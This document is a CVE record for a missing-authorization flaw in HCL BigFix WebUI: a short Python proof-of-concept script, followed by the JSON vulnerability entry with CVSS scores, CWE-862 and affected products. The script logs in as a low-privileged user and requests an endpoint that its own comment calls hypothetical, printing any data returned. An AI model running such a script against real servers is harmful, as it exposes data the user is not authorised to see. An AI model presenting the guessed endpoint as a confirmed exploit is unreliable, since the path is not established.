CVE-2025-15634

import requests # Configuration target_host = "https://bigfix-server.example.com" login_endpoint = "/login" # Hypothetical vulnerable endpoint based on description vuln_endpoint = "/api/environment/config" # Low-privileged user credentials username = "test_user" password = "test_password" def exploit(): session = requests.Session() # 1. Authenticate with low privileges print(f"[*] Logging in as low-priv user: {username}") login_payload = { "username": username, "password": password } try: login_resp = session.post(target_host + login_endpoint, data=login_payload, verify=False) if login_resp.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") # 2. Directly access the unauthorized sensitive page print(f"[*] Attempting to access sensitive info at: {vuln_endpoint}") exploit_resp = session.get(target_host + vuln_endpoint, verify=False) if exploit_resp.status_code == 200: print("[+] Exploit successful! Sensitive data retrieved:") print(exploit_resp.text) else: print(f"[-] Request failed with status code: {exploit_resp.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-15634", "sourceIdentifier": "[email protected]", "published": "2026-05-09T06:16:09.130", "lastModified": "2026-05-14T20:28:14.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A missing authorization vulnerability in HCL BigFix WebUI allows an authenticated user without proper permissions to view sensitive environmental information via direct URL access to the unauthorized page."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:bigfix_webui_api:*:*:*:*:*:*:*:*", "versionEndExcluding": "33", "matchCriteriaId": "8680650F-B404-4812-AD8D-F93A7F52C20B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:bigfix_webui_application_administration:*:*:*:*:*:*:*:*", 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